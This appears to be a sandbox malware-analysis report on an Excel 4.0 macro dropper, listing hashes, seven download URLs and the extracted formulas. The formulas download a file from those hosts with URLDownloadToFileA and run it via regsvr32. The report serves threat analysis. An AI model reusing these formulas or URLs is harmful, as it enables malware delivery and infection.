43d84b7d1f6a3ad643259e79f6ca81078cc09cf640467ecd78d311418bda8986

General

Target

43d84b7d1f6a3ad643259e79f6ca81078cc09cf640467ecd78d311418bda8986
Size

38KB
Sample

241120-fet35s1cmc
MD5

f4decdb7be51e5bb0f7213f6ee03de23
SHA1

4d83a8891559e9355aba4243cd22e213f3bf8b66
SHA256

43d84b7d1f6a3ad643259e79f6ca81078cc09cf640467ecd78d311418bda8986
SHA512

b83132b68f8f6871c413a47fc27cf599ac30450c56d03010ea533abf00987716ba80a91b3d25525af67c3f97d26851fb9d29a9eab488adc82499db1d7699d9f9
SSDEEP

768:CbdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:CwDOZZ1ZYpoQ/pMAeVIyYzaT

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

https://risamfg.com/wp-admin/JtqFQW/

https://thailand-rocco.com/wp-content/gE7UvFwLh/

https://pregy.org/test/rXTl1DEv0CWCE/

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

xlm40.dropper

https://risamfg.com/wp-admin/JtqFQW/

xlm40.dropper

https://thailand-rocco.com/wp-content/gE7UvFwLh/

xlm40.dropper

https://pregy.org/test/rXTl1DEv0CWCE/

xlm40.dropper

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

xlm40.dropper

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

xlm40.dropper

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/